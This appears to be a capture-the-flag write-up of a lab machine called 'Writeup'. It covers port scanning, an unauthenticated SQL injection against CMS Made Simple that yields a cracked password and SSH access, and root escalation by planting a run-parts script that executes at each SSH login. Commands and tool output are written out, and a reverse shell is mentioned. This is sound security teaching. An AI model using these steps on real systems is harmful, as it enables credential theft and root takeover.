SQLI in CMSMS to get a user shell & use run-parts which is run at each SSH login to get a reverse shell as root.

  • Name: Writeup
  • IP :
  • Author : s41m0n, meowmeow
  • Difficulty : 4/10


nmap -sC -sV -Pn -p- -T5 --min-rate 1000 --max-retries 5

Starting Nmap 7.70 ( ) at 2019-06-22 11:54 CEST
Nmap scan report for
Host is up (0.026s latency).
Not shown: 65533 filtered ports
22/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 66.62 seconds

It seems that we don’t have a lot of choices, go for port 80.

Pwn user

The web page does not seems to tell us too much, while actually it is.

... DoS protection script that is in place and watches for Apache 40x errors and bans bad IPs.

In fact if we try to request a page that does not exists (404 error), we see that we aren’t routed for a while (~60 sec). So we cannot use tools like dirscan to perform a server directory listing. By checking for robots.txt file, we see that there is a directory we did not know.

#              __
#      _(\    |@@|
#     (__/\__ \--/ __
#        \___|----|  |   __
#            \ }{ /\ )_ / _\
#            /\__/\ \__O (__
#           (--/\--)    \__/
#           _)(  )(_
#          `---''---`

# Disallow access to the blog until content is finished.
User-agent: *
Disallow: /writeup/

Let’s go for that directory. Looking at the links, we may think that we could exploit the get request with the parameter page= plus something like the user.txt file, accordingly to the path. Actually, after many trials we notice that this is not the best path to take. What are we missing? Cookies!

The website sets the cookie CMSSESSID9d372ef93962:

CMS Made Simple (CMSMS) is a free, open source (GPL) content management system (CMS) to provide developers, programmers and site owners a web-based development and administration area. In 2017 it won the CMS Critic annual award for Best Open Source Content Management.

It is known to have an Unauthenticated SQL Injection vulnerability on versions <= 2.2.9. The script provided by Daniele Scanu uses a time-based SQL injection to retrieve the credentials, we get the user salt, email and password which can be directly cracked with the --crack parameter.

$ python -u -w /usr/share/dict/rockyou.txt --crack
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

Now we just connect to ssh and get the flag:

$ ssh jkr@ -p raykayjay9
$ jkr@writeup:~$ cat user.txt

Pwn root

Once we got the user flag, we can use LinEnum and pspy to dig deeper the machine situation (user and root running scripts). The first tool is not useful at all. On the other hand, with pspy we notice that every time an ssh connection occurs, the following actions are performed:

2019/06/22 09:58:56 CMD: UID=0    PID=5261   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/
2019/06/22 09:58:56 CMD: UID=0    PID=5262   | run-parts --lsbsysinit /etc/update-motd.d
2019/06/22 09:58:56 CMD: UID=0    PID=5263   | /bin/sh /etc/update-motd.d/10-uname

To confirm this theory we can try to connect to the ssh server and see if the run-parts is executed every time.

According to the Linux documentation, run-parts is a program to run scripts or programs in a directory. Interestingly, the used path to find the run-parts executable includes a couple of user directories.

Our guessing now is to create our run-parts script in the /usr/local/sbin/ folder, to be automatically executed at the next ssh connection. The aim of our script is to copy the root.txt to a low-priv user readable folder and get the flag.


cp root/root.txt /tmp/tmp_flag.txt
chmod 777 /tmp/tmp_flag.txt

We need to set the right permissions (for instance 777) both to our script and to the new tmp_flag.txt file. Log in a new ssh connection and from the previous one keep monitoring with pspy:

2019/06/22 10:36:23 CMD: UID=0    PID=2731   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/
2019/06/22 10:36:23 CMD: UID=0    PID=2734   | cp root/root.txt /tmp/tmp_flag.txt

See? The root flag has been successfully copied!

jkr@writeup:~$ cat /tmp/tmp_flag.txt && rm /tmp/tmp_flag # Other users don't have to see the flag

But, we don’t like to pwn root without a shell. To get a root shell we can change the content of /usr/local/sbin/run-parts. I used a bash reverse shell to pwn the root user.